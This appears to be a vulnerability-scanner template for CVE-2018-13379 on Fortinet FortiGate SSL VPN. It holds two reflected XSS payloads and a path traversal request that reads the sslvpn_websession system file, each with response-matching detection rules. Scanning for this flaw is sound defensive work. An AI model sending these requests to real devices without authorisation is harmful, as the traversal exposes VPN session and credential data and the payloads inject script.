id: CVE-2018-13379
info:
  name: Fortinet Fortigate VPN Path Traversal & XSS
  risk: High

params:
  - root: "{{.BaseURL}}"

requests:
  - method: GET
    redirect: false
    url: >-
      {{.root}}//remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
    headers:
      - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    detections:
      - >-
        StatusCode() == 200 && StringSearch("body", "remote/login") && StringSearch("body", "<script>alert(1)")
  - method: GET
    redirect: false
    url: >-
      {{.root}}//message?title=x&msg=%26%23<svg%20onload=alert(2)>;
    headers:
      - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    detections:
      - >-
        StatusCode() == 200 && StringSearch("body", "remote/fgt_lang") && StringSearch("body", "<svg onload=alert(2)>")
  - method: GET
    redirect: false
    url: >-
      {{.root}}//remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
    headers:
      - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    detections:
      - >-
        StatusCode() == 200 && StringSearch("resHeaders", "application/javascript") && StringSearch("body", "fgt_lang") 

references:
  - link: https://www.cvebase.com/cve/2018/13379